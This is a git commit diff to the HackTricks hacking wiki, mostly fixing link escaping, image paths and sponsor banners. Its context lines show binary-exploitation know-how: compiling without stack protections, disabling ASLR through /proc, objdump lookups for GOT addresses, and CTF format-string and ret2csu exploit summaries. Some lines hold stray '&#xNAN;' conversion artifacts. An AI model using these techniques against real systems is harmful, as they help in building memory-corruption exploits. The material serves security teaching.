GITBOOK-4434: No subject

README.md

@@ -50,12 +50,12 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm
 
 ***
 
-### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
+### [Trickest](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)
 
 <figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.
+Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.
 
 Get Access Today:
 
@@ -65,7 +65,7 @@ Get Access Today:
 
 ### [HACKENPROOF](https://bit.ly/3xrrDrL)
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -77,7 +77,7 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
 
 ***
 
-### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - The essential penetration testing toolkit
+### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024\&utm_medium=link\&utm_source=hacktricks\&utm_campaign=spons) - The essential penetration testing toolkit
 
 <figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
 
@@ -100,7 +100,17 @@ Unlike other providers, **SerpApi doesn’t just scrape organic results**. SerpA
 
 Current SerpApi customers include **Apple, Shopify, and GrubHub**.\
 For more information check out their [**blog**](https://serpapi.com/blog/)**,** or try an example in their [**playground**](https://serpapi.com/playground)**.**\
-You can **create a free account** [**here**](https://serpapi.com/users/sign\_up)**.**
+You can **create a free account** [**here**](https://serpapi.com/users/sign_up)**.**
+
+***
+
+### 8kSec Academy – In-Depth Mobile Security Courses
+
+<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
+
+Learn the technologies and skills required to perform vulnerability research, penetration testing, and reverse engineering to protect mobile applications and devices. **Master iOS and Android security** through our on-demand courses and **get certified**:
+
+{% embed url="https://academy.8ksec.io/" %}
 
 ***
 
@@ -139,7 +149,7 @@ Learn & practice GCP Hacking: <img src=".gitbook/assets/grte.png" alt="" data-si
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md

@@ -1,15 +1,15 @@
 # Exploiting Tools
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -180,7 +180,7 @@ gef➤  bt
 
 **Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
 For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
-_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._
+&#xNAN;_&#x52;emember that the first 0x08 from where the RIP is saved belongs to the RBP._
 
 ![](<../../../.gitbook/assets/image (1061).png>)
 
@@ -195,8 +195,8 @@ Get every opcode executed in the program.
 ## GCC
 
 **gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
-**-o** --> Output\
-**-g** --> Save code (GDB will be able to see it)\
+&#xNAN;**-o** --> Output\
+&#xNAN;**-g** --> Save code (GDB will be able to see it)\
 **echo 0 > /proc/sys/kernel/randomize\_va\_space** --> To deactivate the ASLR in linux
 
 **To compile a shellcode:**\
@@ -206,13 +206,13 @@ Get every opcode executed in the program.
 ## Objdump
 
 **-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
-**-Mintel** --> **Intel** syntax\
-**-t** --> **Symbols** table\
-**-D** --> **Disassemble all** (address of static variable)\
-**-s -j .dtors** --> dtors section\
-**-s -j .got** --> got section\
-\-D -s -j .plt --> **plt** section **decompiled**\
-**-TR** --> **Relocations**\
+&#xNAN;**-Mintel** --> **Intel** syntax\
+&#xNAN;**-t** --> **Symbols** table\
+&#xNAN;**-D** --> **Disassemble all** (address of static variable)\
+&#xNAN;**-s -j .dtors** --> dtors section\
+&#xNAN;**-s -j .got** --> got section\
+-D -s -j .plt --> **plt** section **decompiled**\
+&#xNAN;**-TR** --> **Relocations**\
 **ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
 **objdump -D ./exec | grep "VAR\_NAME"** --> Address or a static variable (those are stored in DATA section).
 
@@ -254,15 +254,15 @@ Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
 ![](<../../../.gitbook/assets/image (858).png>)
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

binary-exploitation/format-strings/README.md

@@ -9,13 +9,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -252,14 +252,14 @@ It's possible to abuse the write actions of a format string vulnerability to **w
 * [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
 * [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
 * [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
-* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
+* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
   * 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
-* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
+* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
   * 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
-* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
+* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
   * 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -272,6 +272,6 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 Support HackTricks
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 {% endhint %}

binary-exploitation/libc-heap/README.md

@@ -498,15 +498,15 @@ int main() {
 
 Debugging the previous example it's possible to see how at the beginning there is only 1 arena:
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Then, after calling the first thread, the one that calls malloc, a new arena is created:
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 and inside of it some chunks can be found:
 
-<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ## Bins & Memory Allocations/Frees
 

binary-exploitation/libc-heap/heap-memory-functions/unlink.md

@@ -9,7 +9,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -69,7 +69,7 @@ unlink_chunk (mstate av, mchunkptr p)
 
 Check this great graphical explanation of the unlink process:
 
-<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
 
 ### Security Checks
 
@@ -102,7 +102,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md

@@ -9,7 +9,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -41,7 +41,7 @@ This gadget basically allows to confirm that something interesting was executed
 
 This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**:
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
 
 These would be the gadgets:
 
@@ -144,7 +144,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

binary-exploitation/rop-return-oriented-programing/ret2csu.md

@@ -9,7 +9,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -88,7 +88,7 @@ gef➤  search-pattern 0x400560
 
 Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets:
 
-<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
 
 Check this page for more info:
 
@@ -139,7 +139,7 @@ Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just
 
 ### Bypassing the call and reaching ret
 
-The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
+The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
 
 ```python
 # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
@@ -204,7 +204,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

generic-methodologies-and-resources/external-recon-methodology/README.md

@@ -9,13 +9,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -215,7 +215,7 @@ You could access the **TLS certificate** of the main web page, obtain the **Orga
 Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
 
 If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
-_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
+&#xNAN;_&#x4E;ote that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
 
 <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
 **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
@@ -561,7 +561,7 @@ Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdoma
 If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/).
 
 If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
-_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
+&#xNAN;_&#x4E;ote that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
 
 ## IPs
 
@@ -616,7 +616,7 @@ You will also need wordlists of **common words used in buckets**:
 
 Then, with those words you should generate **permutations** (check the [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) for more info).
 
-With the resulting wordlists you could use tools such as [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **or** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
+With the resulting wordlists you could use tools such as [**cloud\_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **or** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
 
 Remember that when looking for Cloud Assets you should l**ook for more than just buckets in AWS**.
 
@@ -731,7 +731,7 @@ There are several tools out there that will perform part of the proposed actions
 
 * All free courses of [**@Jhaddix**](https://twitter.com/Jhaddix) like [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -746,7 +746,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

generic-methodologies-and-resources/pentesting-methodology.md

@@ -9,13 +9,13 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -151,7 +151,7 @@ Check also the page about [**NTLM**](../windows-hardening/ntlm/), it could be ve
 * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
